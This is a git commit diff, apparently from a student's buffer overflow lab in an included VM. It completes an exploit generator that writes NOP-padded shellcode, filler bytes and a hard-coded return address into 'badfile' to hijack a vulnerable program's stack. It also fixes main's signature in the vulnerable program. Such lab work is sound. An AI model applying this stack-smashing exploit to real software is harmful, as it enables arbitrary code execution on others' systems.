Works with gdb in the included VM.

This commit is contained in:
Alex Huddleston 2018-02-13 23:18:43 -06:00
parent 2f9a0e6b31
commit eb27487128
3 changed files with 9 additions and 3 deletions

Binary file not shown.

View file

@ -29,7 +29,13 @@ int main(int argc, char **argv)
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer, shellcode);
// Inject the shellcode into the buffer.
strcpy(&buffer[33], shellcode);
// Padding...
strcpy(&buffer[57], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Point ebp register to the injected code.
strcpy(&buffer[16], "\xf8\xf2\xff\xbf");
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");

View file

@ -15,7 +15,7 @@ int bof(char *str)
return 1;
}
void main(int argc, char **argv)
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;